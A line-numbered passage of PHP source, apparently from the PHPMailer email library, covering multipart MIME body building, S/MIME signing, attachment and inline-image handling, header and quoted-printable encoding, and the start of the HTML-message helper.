9868 $body .= $this->LE;
9869 $body .= $this->endBoundary($this->boundary[1]);
9870 break;
9871 case 'alt_attach':
9872 $body .= $this->textLine('--' . $this->boundary[1]);
9873 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9874 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9875 $body .= $this->LE;
9876 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9877 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9878 $body .= $this->LE . $this->LE;
9879 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9880 $body .= $this->encodeString($this->Body, $bodyEncoding);
9881 $body .= $this->LE . $this->LE;
9882 $body .= $this->endBoundary($this->boundary[2]);
9883 $body .= $this->LE;
9884 $body .= $this->attachAll('attachment', $this->boundary[1]);
9885 break;
9886
9887 case 'alt_inline_attach':
9888 $body .= $this->textLine('--' . $this->boundary[1]);
9889 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9890 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9891 $body .= $this->LE;
9892 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9893 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9894 $body .= $this->LE . $this->LE;
9895 $body .= $this->textLine('--' . $this->boundary[2]);
9896 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9897 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
9898 $body .= $this->LE;
9899 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
9900 $body .= $this->encodeString($this->Body, $bodyEncoding);
9901 $body .= $this->LE . $this->LE;
9902 $body .= $this->attachAll('inline', $this->boundary[3]);
9903 $body .= $this->LE;
9904 $body .= $this->endBoundary($this->boundary[2]);
9905 $body .= $this->LE;
9906 $body .= $this->attachAll('attachment', $this->boundary[1]);
9907 break;
9908 default:
9909 // catch case 'plain' and case ''
9910 $body .= $this->encodeString($this->Body, $bodyEncoding);
9911 break;
9912 }
9913
9914 if ($this->isError()) {
9915 $body = '';
9916 } elseif ($this->sign_key_file) {
9917 try {
9918 if (!defined('PKCS7_TEXT')) {
9919 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
9920 }
9921 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
9922 $file = tempnam(sys_get_temp_dir(), 'mail');
9923 if (false === file_put_contents($file, $body)) {
9924 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
9925 }
9926 $signed = tempnam(sys_get_temp_dir(), 'signed');
9927 if (@openssl_pkcs7_sign(
9928 $file,
9929 $signed,
9930 'file://' . realpath($this->sign_cert_file),
9931 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
9932 null
9933 )
9934 ) {
9935 @unlink($file);
9936 $body = file_get_contents($signed);
9937 @unlink($signed);
9938 } else {
9939 @unlink($file);
9940 @unlink($signed);
9941 throw new phpmailerException($this->lang('signing') . openssl_error_string());
9942 }
9943 } catch (phpmailerException $exc) {
9944 $body = '';
9945 if ($this->exceptions) {
9946 throw $exc;
9947 }
9948 }
9949 }
9950 return $body;
9951 }
9952
9953 /**
9954 * Return the start of a message boundary.
9955 * @access protected
9956 * @param string $boundary
9957 * @param string $charSet
9958 * @param string $contentType
9959 * @param string $encoding
9960 * @return string
9961 */
9962 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
9963 {
9964 $result = '';
9965 if ($charSet == '') {
9966 $charSet = $this->CharSet;
9967 }
9968 if ($contentType == '') {
9969 $contentType = $this->ContentType;
9970 }
9971 if ($encoding == '') {
9972 $encoding = $this->Encoding;
9973 }
9974 $result .= $this->textLine('--' . $boundary);
9975 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
9976 $result .= $this->LE;
9977 // RFC1341 part 5 says 7bit is assumed if not specified
9978 if ($encoding != '7bit') {
9979 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
9980 }
9981 $result .= $this->LE;
9982
9983 return $result;
9984 }
9985
9986 /**
9987 * Return the end of a message boundary.
9988 * @access protected
9989 * @param string $boundary
9990 * @return string
9991 */
9992 protected function endBoundary($boundary)
9993 {
9994 return $this->LE . '--' . $boundary . '--' . $this->LE;
9995 }
9996
9997 /**
9998 * Set the message type.
9999 * PHPMailer only supports some preset message types,
10000 * not arbitrary MIME structures.
10001 * @access protected
10002 * @return void
10003 */
10004 protected function setMessageType()
10005 {
10006 $type = array();
10007 if ($this->alternativeExists()) {
10008 $type[] = 'alt';
10009 }
10010 if ($this->inlineImageExists()) {
10011 $type[] = 'inline';
10012 }
10013 if ($this->attachmentExists()) {
10014 $type[] = 'attach';
10015 }
10016 $this->message_type = implode('_', $type);
10017 if ($this->message_type == '') {
10018 $this->message_type = 'plain';
10019 }
10020 }
10021
10022 /**
10023 * Format a header line.
10024 * @access public
10025 * @param string $name
10026 * @param string $value
10027 * @return string
10028 */
10029 public function headerLine($name, $value)
10030 {
10031 return $name . ': ' . $value . $this->LE;
10032 }
10033
10034 /**
10035 * Return a formatted mail line.
10036 * @access public
10037 * @param string $value
10038 * @return string
10039 */
10040 public function textLine($value)
10041 {
10042 return $value . $this->LE;
10043 }
10044
10045 /**
10046 * Add an attachment from a path on the filesystem.
10047 * Returns false if the file could not be found or read.
10048 * @param string $path Path to the attachment.
10049 * @param string $name Overrides the attachment name.
10050 * @param string $encoding File encoding (see $Encoding).
10051 * @param string $type File extension (MIME) type.
10052 * @param string $disposition Disposition to use
10053 * @throws phpmailerException
10054 * @return boolean
10055 */
10056 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
10057 {
10058 try {
10059 if (!@is_file($path)) {
10060 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
10061 }
10062
10063 // If a MIME type is not specified, try to work it out from the file name
10064 if ($type == '') {
10065 $type = self::filenameToType($path);
10066 }
10067
10068 $filename = basename($path);
10069 if ($name == '') {
10070 $name = $filename;
10071 }
10072
10073 $this->attachment[] = array(
10074 0 => $path,
10075 1 => $filename,
10076 2 => $name,
10077 3 => $encoding,
10078 4 => $type,
10079 5 => false, // isStringAttachment
10080 6 => $disposition,
10081 7 => 0
10082 );
10083
10084 } catch (phpmailerException $exc) {
10085 $this->setError($exc->getMessage());
10086 $this->edebug($exc->getMessage());
10087 if ($this->exceptions) {
10088 throw $exc;
10089 }
10090 return false;
10091 }
10092 return true;
10093 }
10094
10095 /**
10096 * Return the array of attachments.
10097 * @return array
10098 */
10099 public function getAttachments()
10100 {
10101 return $this->attachment;
10102 }
10103
10104 /**
10105 * Attach all file, string, and binary attachments to the message.
10106 * Returns an empty string on failure.
10107 * @access protected
10108 * @param string $disposition_type
10109 * @param string $boundary
10110 * @return string
10111 */
10112 protected function attachAll($disposition_type, $boundary)
10113 {
10114 // Return text of body
10115 $mime = array();
10116 $cidUniq = array();
10117 $incl = array();
10118
10119 // Add all attachments
10120 foreach ($this->attachment as $attachment) {
10121 // Check if it is a valid disposition_filter
10122 if ($attachment[6] == $disposition_type) {
10123 // Check for string attachment
10124 $string = '';
10125 $path = '';
10126 $bString = $attachment[5];
10127 if ($bString) {
10128 $string = $attachment[0];
10129 } else {
10130 $path = $attachment[0];
10131 }
10132
10133 $inclhash = md5(serialize($attachment));
10134 if (in_array($inclhash, $incl)) {
10135 continue;
10136 }
10137 $incl[] = $inclhash;
10138 $name = $attachment[2];
10139 $encoding = $attachment[3];
10140 $type = $attachment[4];
10141 $disposition = $attachment[6];
10142 $cid = $attachment[7];
10143 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
10144 continue;
10145 }
10146 $cidUniq[$cid] = true;
10147
10148 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
10149 $mime[] = sprintf(
10150 'Content-Type: %s; name="%s"%s',
10151 $type,
10152 $this->encodeHeader($this->secureHeader($name)),
10153 $this->LE
10154 );
10155 // RFC1341 part 5 says 7bit is assumed if not specified
10156 if ($encoding != '7bit') {
10157 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
10158 }
10159
10160 if ($disposition == 'inline') {
10161 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
10162 }
10163
10164 // If a filename contains any of these chars, it should be quoted,
10165 // but not otherwise: RFC2183 & RFC2045 5.1
10166 // Fixes a warning in IETF's msglint MIME checker
10167 // Allow for bypassing the Content-Disposition header totally
10168 if (!(empty($disposition))) {
10169 $encoded_name = $this->encodeHeader($this->secureHeader($name));
10170 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
10171 $mime[] = sprintf(
10172 'Content-Disposition: %s; filename="%s"%s',
10173 $disposition,
10174 $encoded_name,
10175 $this->LE . $this->LE
10176 );
10177 } else {
10178 $mime[] = sprintf(
10179 'Content-Disposition: %s; filename=%s%s',
10180 $disposition,
10181 $encoded_name,
10182 $this->LE . $this->LE
10183 );
10184 }
10185 } else {
10186 $mime[] = $this->LE;
10187 }
10188
10189 // Encode as string attachment
10190 if ($bString) {
10191 $mime[] = $this->encodeString($string, $encoding);
10192 if ($this->isError()) {
10193 return '';
10194 }
10195 $mime[] = $this->LE . $this->LE;
10196 } else {
10197 $mime[] = $this->encodeFile($path, $encoding);
10198 if ($this->isError()) {
10199 return '';
10200 }
10201 $mime[] = $this->LE . $this->LE;
10202 }
10203 }
10204 }
10205
10206 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
10207
10208 return implode('', $mime);
10209 }
10210
10211 /**
10212 * Encode a file attachment in requested format.
10213 * Returns an empty string on failure.
10214 * @param string $path The full path to the file
10215 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10216 * @throws phpmailerException
10217 * @see EncodeFile(encodeFile
10218 * @access protected
10219 * @return string
10220 */
10221 protected function encodeFile($path, $encoding = 'base64')
10222 {
10223 try {
10224 if (!is_readable($path)) {
10225 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
10226 }
10227 $magic_quotes = get_magic_quotes_runtime();
10228 if ($magic_quotes) {
10229 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10230 set_magic_quotes_runtime(false);
10231 } else {
10232 //Doesn't exist in PHP 5.4, but we don't need to check because
10233 //get_magic_quotes_runtime always returns false in 5.4+
10234 //so it will never get here
10235 ini_set('magic_quotes_runtime', 0);
10236 }
10237 }
10238 $file_buffer = file_get_contents($path);
10239 $file_buffer = $this->encodeString($file_buffer, $encoding);
10240 if ($magic_quotes) {
10241 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10242 set_magic_quotes_runtime($magic_quotes);
10243 } else {
10244 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
10245 }
10246 }
10247 return $file_buffer;
10248 } catch (Exception $exc) {
10249 $this->setError($exc->getMessage());
10250 return '';
10251 }
10252 }
10253
10254 /**
10255 * Encode a string in requested format.
10256 * Returns an empty string on failure.
10257 * @param string $str The text to encode
10258 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10259 * @access public
10260 * @return string
10261 */
10262 public function encodeString($str, $encoding = 'base64')
10263 {
10264 $encoded = '';
10265 switch (strtolower($encoding)) {
10266 case 'base64':
10267 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
10268 break;
10269 case '7bit':
10270 case '8bit':
10271 $encoded = $this->fixEOL($str);
10272 // Make sure it ends with a line break
10273 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
10274 $encoded .= $this->LE;
10275 }
10276 break;
10277 case 'binary':
10278 $encoded = $str;
10279 break;
10280 case 'quoted-printable':
10281 $encoded = $this->encodeQP($str);
10282 break;
10283 default:
10284 $this->setError($this->lang('encoding') . $encoding);
10285 break;
10286 }
10287 return $encoded;
10288 }
10289
10290 /**
10291 * Encode a header string optimally.
10292 * Picks shortest of Q, B, quoted-printable or none.
10293 * @access public
10294 * @param string $str
10295 * @param string $position
10296 * @return string
10297 */
10298 public function encodeHeader($str, $position = 'text')
10299 {
10300 $matchcount = 0;
10301 switch (strtolower($position)) {
10302 case 'phrase':
10303 if (!preg_match('/[\200-\377]/', $str)) {
10304 // Can't use addslashes as we don't know the value of magic_quotes_sybase
10305 $encoded = addcslashes($str, "\0..\37\177\\\"");
10306 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
10307 return ($encoded);
10308 } else {
10309 return ("\"$encoded\"");
10310 }
10311 }
10312 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
10313 break;
10314 /** @noinspection PhpMissingBreakStatementInspection */
10315 case 'comment':
10316 $matchcount = preg_match_all('/[()"]/', $str, $matches);
10317 // Intentional fall-through
10318 case 'text':
10319 default:
10320 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
10321 break;
10322 }
10323
10324 if ($matchcount == 0) { // There are no chars that need encoding
10325 return ($str);
10326 }
10327
10328 $maxlen = 75 - 7 - strlen($this->CharSet);
10329 // Try to select the encoding which should produce the shortest output
10330 if ($matchcount > strlen($str) / 3) {
10331 // More than a third of the content will need encoding, so B encoding will be most efficient
10332 $encoding = 'B';
10333 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
10334 // Use a custom function which correctly encodes and wraps long
10335 // multibyte strings without breaking lines within a character
10336 $encoded = $this->base64EncodeWrapMB($str, "\n");
10337 } else {
10338 $encoded = base64_encode($str);
10339 $maxlen -= $maxlen % 4;
10340 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
10341 }
10342 } else {
10343 $encoding = 'Q';
10344 $encoded = $this->encodeQ($str, $position);
10345 $encoded = $this->wrapText($encoded, $maxlen, true);
10346 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
10347 }
10348
10349 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
10350 $encoded = trim(str_replace("\n", $this->LE, $encoded));
10351
10352 return $encoded;
10353 }
10354
10355 /**
10356 * Check if a string contains multi-byte characters.
10357 * @access public
10358 * @param string $str multi-byte text to wrap encode
10359 * @return boolean
10360 */
10361 public function hasMultiBytes($str)
10362 {
10363 if (function_exists('mb_strlen')) {
10364 return (strlen($str) > mb_strlen($str, $this->CharSet));
10365 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
10366 return false;
10367 }
10368 }
10369
10370 /**
10371 * Does a string contain any 8-bit chars (in any charset)?
10372 * @param string $text
10373 * @return boolean
10374 */
10375 public function has8bitChars($text)
10376 {
10377 return (boolean)preg_match('/[\x80-\xFF]/', $text);
10378 }
10379
10380 /**
10381 * Encode and wrap long multibyte strings for mail headers
10382 * without breaking lines within a character.
10383 * Adapted from a function by paravoid
10384 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
10385 * @access public
10386 * @param string $str multi-byte text to wrap encode
10387 * @param string $linebreak string to use as linefeed/end-of-line
10388 * @return string
10389 */
10390 public function base64EncodeWrapMB($str, $linebreak = null)
10391 {
10392 $start = '=?' . $this->CharSet . '?B?';
10393 $end = '?=';
10394 $encoded = '';
10395 if ($linebreak === null) {
10396 $linebreak = $this->LE;
10397 }
10398
10399 $mb_length = mb_strlen($str, $this->CharSet);
10400 // Each line must have length <= 75, including $start and $end
10401 $length = 75 - strlen($start) - strlen($end);
10402 // Average multi-byte ratio
10403 $ratio = $mb_length / strlen($str);
10404 // Base64 has a 4:3 ratio
10405 $avgLength = floor($length * $ratio * .75);
10406
10407 for ($i = 0; $i < $mb_length; $i += $offset) {
10408 $lookBack = 0;
10409 do {
10410 $offset = $avgLength - $lookBack;
10411 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
10412 $chunk = base64_encode($chunk);
10413 $lookBack++;
10414 } while (strlen($chunk) > $length);
10415 $encoded .= $chunk . $linebreak;
10416 }
10417
10418 // Chomp the last linefeed
10419 $encoded = substr($encoded, 0, -strlen($linebreak));
10420 return $encoded;
10421 }
10422
10423 /**
10424 * Encode a string in quoted-printable format.
10425 * According to RFC2045 section 6.7.
10426 * @access public
10427 * @param string $string The text to encode
10428 * @param integer $line_max Number of chars allowed on a line before wrapping
10429 * @return string
10430 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
10431 */
10432 public function encodeQP($string, $line_max = 76)
10433 {
10434 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
10435 return $this->fixEOL(quoted_printable_encode($string));
10436 }
10437 // Fall back to a pure PHP implementation
10438 $string = str_replace(
10439 array('%20', '%0D%0A.', '%0D%0A', '%'),
10440 array(' ', "\r\n=2E", "\r\n", '='),
10441 rawurlencode($string)
10442 );
10443 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
10444 return $this->fixEOL($string);
10445 }
10446
10447 /**
10448 * Backward compatibility wrapper for an old QP encoding function that was removed.
10449 * @see PHPMailer::encodeQP()
10450 * @access public
10451 * @param string $string
10452 * @param integer $line_max
10453 * @param boolean $space_conv
10454 * @return string
10455 * @deprecated Use encodeQP instead.
10456 */
10457 public function encodeQPphp(
10458 $string,
10459 $line_max = 76,
10460 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
10461 ) {
10462 return $this->encodeQP($string, $line_max);
10463 }
10464
10465 /**
10466 * Encode a string using Q encoding.
10467 * @link http://tools.ietf.org/html/rfc2047
10468 * @param string $str the text to encode
10469 * @param string $position Where the text is going to be used, see the RFC for what that means
10470 * @access public
10471 * @return string
10472 */
10473 public function encodeQ($str, $position = 'text')
10474 {
10475 // There should not be any EOL in the string
10476 $pattern = '';
10477 $encoded = str_replace(array("\r", "\n"), '', $str);
10478 switch (strtolower($position)) {
10479 case 'phrase':
10480 // RFC 2047 section 5.3
10481 $pattern = '^A-Za-z0-9!*+\/ -';
10482 break;
10483 /** @noinspection PhpMissingBreakStatementInspection */
10484 case 'comment':
10485 // RFC 2047 section 5.2
10486 $pattern = '\(\)"';
10487 // intentional fall-through
10488 // for this reason we build the $pattern without including delimiters and []
10489 case 'text':
10490 default:
10491 // RFC 2047 section 5.1
10492 // Replace every high ascii, control, =, ? and _ characters
10493 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
10494 break;
10495 }
10496 $matches = array();
10497 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
10498 // If the string contains an '=', make sure it's the first thing we replace
10499 // so as to avoid double-encoding
10500 $eqkey = array_search('=', $matches[0]);
10501 if (false !== $eqkey) {
10502 unset($matches[0][$eqkey]);
10503 array_unshift($matches[0], '=');
10504 }
10505 foreach (array_unique($matches[0]) as $char) {
10506 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
10507 }
10508 }
10509 // Replace every spaces to _ (more readable than =20)
10510 return str_replace(' ', '_', $encoded);
10511 }
10512
10513
10514 /**
10515 * Add a string or binary attachment (non-filesystem).
10516 * This method can be used to attach ascii or binary data,
10517 * such as a BLOB record from a database.
10518 * @param string $string String attachment data.
10519 * @param string $filename Name of the attachment.
10520 * @param string $encoding File encoding (see $Encoding).
10521 * @param string $type File extension (MIME) type.
10522 * @param string $disposition Disposition to use
10523 * @return void
10524 */
10525 public function addStringAttachment(
10526 $string,
10527 $filename,
10528 $encoding = 'base64',
10529 $type = '',
10530 $disposition = 'attachment'
10531 ) {
10532 // If a MIME type is not specified, try to work it out from the file name
10533 if ($type == '') {
10534 $type = self::filenameToType($filename);
10535 }
10536 // Append to $attachment array
10537 $this->attachment[] = array(
10538 0 => $string,
10539 1 => $filename,
10540 2 => basename($filename),
10541 3 => $encoding,
10542 4 => $type,
10543 5 => true, // isStringAttachment
10544 6 => $disposition,
10545 7 => 0
10546 );
10547 }
10548
10549 /**
10550 * Add an embedded (inline) attachment from a file.
10551 * This can include images, sounds, and just about any other document type.
10552 * These differ from 'regular' attachments in that they are intended to be
10553 * displayed inline with the message, not just attached for download.
10554 * This is used in HTML messages that embed the images
10555 * the HTML refers to using the $cid value.
10556 * @param string $path Path to the attachment.
10557 * @param string $cid Content ID of the attachment; Use this to reference
10558 * the content when using an embedded image in HTML.
10559 * @param string $name Overrides the attachment name.
10560 * @param string $encoding File encoding (see $Encoding).
10561 * @param string $type File MIME type.
10562 * @param string $disposition Disposition to use
10563 * @return boolean True on successfully adding an attachment
10564 */
10565 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
10566 {
10567 if (!@is_file($path)) {
10568 $this->setError($this->lang('file_access') . $path);
10569 return false;
10570 }
10571
10572 // If a MIME type is not specified, try to work it out from the file name
10573 if ($type == '') {
10574 $type = self::filenameToType($path);
10575 }
10576
10577 $filename = basename($path);
10578 if ($name == '') {
10579 $name = $filename;
10580 }
10581
10582 // Append to $attachment array
10583 $this->attachment[] = array(
10584 0 => $path,
10585 1 => $filename,
10586 2 => $name,
10587 3 => $encoding,
10588 4 => $type,
10589 5 => false, // isStringAttachment
10590 6 => $disposition,
10591 7 => $cid
10592 );
10593 return true;
10594 }
10595
10596 /**
10597 * Add an embedded stringified attachment.
10598 * This can include images, sounds, and just about any other document type.
10599 * Be sure to set the $type to an image type for images:
10600 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
10601 * @param string $string The attachment binary data.
10602 * @param string $cid Content ID of the attachment; Use this to reference
10603 * the content when using an embedded image in HTML.
10604 * @param string $name
10605 * @param string $encoding File encoding (see $Encoding).
10606 * @param string $type MIME type.
10607 * @param string $disposition Disposition to use
10608 * @return boolean True on successfully adding an attachment
10609 */
10610 public function addStringEmbeddedImage(
10611 $string,
10612 $cid,
10613 $name = '',
10614 $encoding = 'base64',
10615 $type = '',
10616 $disposition = 'inline'
10617 ) {
10618 // If a MIME type is not specified, try to work it out from the name
10619 if ($type == '') {
10620 $type = self::filenameToType($name);
10621 }
10622
10623 // Append to $attachment array
10624 $this->attachment[] = array(
10625 0 => $string,
10626 1 => $name,
10627 2 => $name,
10628 3 => $encoding,
10629 4 => $type,
10630 5 => true, // isStringAttachment
10631 6 => $disposition,
10632 7 => $cid
10633 );
10634 return true;
10635 }
10636
10637 /**
10638 * Check if an inline attachment is present.
10639 * @access public
10640 * @return boolean
10641 */
10642 public function inlineImageExists()
10643 {
10644 foreach ($this->attachment as $attachment) {
10645 if ($attachment[6] == 'inline') {
10646 return true;
10647 }
10648 }
10649 return false;
10650 }
10651
10652 /**
10653 * Check if an attachment (non-inline) is present.
10654 * @return boolean
10655 */
10656 public function attachmentExists()
10657 {
10658 foreach ($this->attachment as $attachment) {
10659 if ($attachment[6] == 'attachment') {
10660 return true;
10661 }
10662 }
10663 return false;
10664 }
10665
10666 /**
10667 * Check if this message has an alternative body set.
10668 * @return boolean
10669 */
10670 public function alternativeExists()
10671 {
10672 return !empty($this->AltBody);
10673 }
10674
10675 /**
10676 * Clear all To recipients.
10677 * @return void
10678 */
10679 public function clearAddresses()
10680 {
10681 foreach ($this->to as $to) {
10682 unset($this->all_recipients[strtolower($to[0])]);
10683 }
10684 $this->to = array();
10685 }
10686
10687 /**
10688 * Clear all CC recipients.
10689 * @return void
10690 */
10691 public function clearCCs()
10692 {
10693 foreach ($this->cc as $cc) {
10694 unset($this->all_recipients[strtolower($cc[0])]);
10695 }
10696 $this->cc = array();
10697 }
10698
10699 /**
10700 * Clear all BCC recipients.
10701 * @return void
10702 */
10703 public function clearBCCs()
10704 {
10705 foreach ($this->bcc as $bcc) {
10706 unset($this->all_recipients[strtolower($bcc[0])]);
10707 }
10708 $this->bcc = array();
10709 }
10710
10711 /**
10712 * Clear all ReplyTo recipients.
10713 * @return void
10714 */
10715 public function clearReplyTos()
10716 {
10717 $this->ReplyTo = array();
10718 }
10719
10720 /**
10721 * Clear all recipient types.
10722 * @return void
10723 */
10724 public function clearAllRecipients()
10725 {
10726 $this->to = array();
10727 $this->cc = array();
10728 $this->bcc = array();
10729 $this->all_recipients = array();
10730 }
10731
10732 /**
10733 * Clear all filesystem, string, and binary attachments.
10734 * @return void
10735 */
10736 public function clearAttachments()
10737 {
10738 $this->attachment = array();
10739 }
10740
10741 /**
10742 * Clear all custom headers.
10743 * @return void
10744 */
10745 public function clearCustomHeaders()
10746 {
10747 $this->CustomHeader = array();
10748 }
10749
10750 /**
10751 * Add an error message to the error container.
10752 * @access protected
10753 * @param string $msg
10754 * @return void
10755 */
10756 protected function setError($msg)
10757 {
10758 $this->error_count++;
10759 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
10760 $lasterror = $this->smtp->getError();
10761 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
10762 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
10763 }
10764 }
10765 $this->ErrorInfo = $msg;
10766 }
10767
10768 /**
10769 * Return an RFC 822 formatted date.
10770 * @access public
10771 * @return string
10772 * @static
10773 */
10774 public static function rfcDate()
10775 {
10776 // Set the time zone to whatever the default is to avoid 500 errors
10777 // Will default to UTC if it's not set properly in php.ini
10778 date_default_timezone_set(@date_default_timezone_get());
10779 return date('D, j M Y H:i:s O');
10780 }
10781
10782 /**
10783 * Get the server hostname.
10784 * Returns 'localhost.localdomain' if unknown.
10785 * @access protected
10786 * @return string
10787 */
10788 protected function serverHostname()
10789 {
10790 $result = 'localhost.localdomain';
10791 if (!empty($this->Hostname)) {
10792 $result = $this->Hostname;
10793 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
10794 $result = $_SERVER['SERVER_NAME'];
10795 } elseif (function_exists('gethostname') && gethostname() !== false) {
10796 $result = gethostname();
10797 } elseif (php_uname('n') !== false) {
10798 $result = php_uname('n');
10799 }
10800 return $result;
10801 }
10802
10803 /**
10804 * Get an error message in the current language.
10805 * @access protected
10806 * @param string $key
10807 * @return string
10808 */
10809 protected function lang($key)
10810 {
10811 if (count($this->language) < 1) {
10812 $this->setLanguage('en'); // set the default language
10813 }
10814
10815 if (isset($this->language[$key])) {
10816 return $this->language[$key];
10817 } else {
10818 return 'Language string failed to load: ' . $key;
10819 }
10820 }
10821
10822 /**
10823 * Check if an error occurred.
10824 * @access public
10825 * @return boolean True if an error did occur.
10826 */
10827 public function isError()
10828 {
10829 return ($this->error_count > 0);
10830 }
10831
10832 /**
10833 * Ensure consistent line endings in a string.
10834 * Changes every end of line from CRLF, CR or LF to $this->LE.
10835 * @access public
10836 * @param string $str String to fixEOL
10837 * @return string
10838 */
10839 public function fixEOL($str)
10840 {
10841 // Normalise to \n
10842 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
10843 // Now convert LE as needed
10844 if ($this->LE !== "\n") {
10845 $nstr = str_replace("\n", $this->LE, $nstr);
10846 }
10847 return $nstr;
10848 }
10849
10850 /**
10851 * Add a custom header.
10852 * $name value can be overloaded to contain
10853 * both header name and value (name:value)
10854 * @access public
10855 * @param string $name Custom header name
10856 * @param string $value Header value
10857 * @return void
10858 */
10859 public function addCustomHeader($name, $value = null)
10860 {
10861 if ($value === null) {
10862 // Value passed in as name:value
10863 $this->CustomHeader[] = explode(':', $name, 2);
10864 } else {
10865 $this->CustomHeader[] = array($name, $value);
10866 }
10867 }
10868
10869 /**
10870 * Create a message from an HTML string.
10871 * Automatically makes modifications for inline images and backgrounds
10872 * and creates a plain-text version by converting the HTML.
10873 * Overwrites any existing values in $this->Body and $this->AltBody
10874 * @access public
10875 * @param string $message HTML message string
10876 * @param string $basedir baseline directory for path
10877 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
10878 * or your own custom converter @see html2text()
10879 * @return string $message
10880 */
10881 public function msgHTML($message, $basedir = '', $advanced = false)
10882 {
10883 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
10884 if (isset($images[2])) {
10885 foreach ($images[2] as $imgindex => $url) {
10886 // Convert data URIs into embedded images
10887 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
10888 $data = substr($url, strpos($url, ','));
10889 if ($match[2]) {
10890 $data = base64_decode($data);
10891 } else {
10892 $data = rawurldecode($data);
10893 }
10894 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10895 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
10896 $message = str_replace(
10897 $images[0][$imgindex],
10898 $images[1][$imgindex] . '="cid:' . $cid . '"',
10899 $message
10900 );
10901 }
10902 } elseif (!preg_match('#^[A-z]+://#', $url)) {
10903 // Do not change urls for absolute images (thanks to corvuscorax)
10904 $filename = basename($url);
10905 $directory = dirname($url);
10906 if ($directory == '.') {
10907 $directory = '';
10908 }
10909 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10910 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
10911 $basedir .= '/';
10912 }
10913 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
10914 $directory .= '/';
10915 }
10916 if ($this->addEmbeddedImage(
10917 $basedir . $directory . $filename,
10918 $cid,
10919 $filename,
10920 'base64',
10921 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
10922 )
10923 ) {
10924 $message = preg_replace(
10925 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
10926 $images[1][$imgindex] . '="cid:' . $cid . '"',
10927 $message
10928 );
10929 }
10930 }
10931 }
10932 }
10933 $this->isHTML(true);
10934 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
